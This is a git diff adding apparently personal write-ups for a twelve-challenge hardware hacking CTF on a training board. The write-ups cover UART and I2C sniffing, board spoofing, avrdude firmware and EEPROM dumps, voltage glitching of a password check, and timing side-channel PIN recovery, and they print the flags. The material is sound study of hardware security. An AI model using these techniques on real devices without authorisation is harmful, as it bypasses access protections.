+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
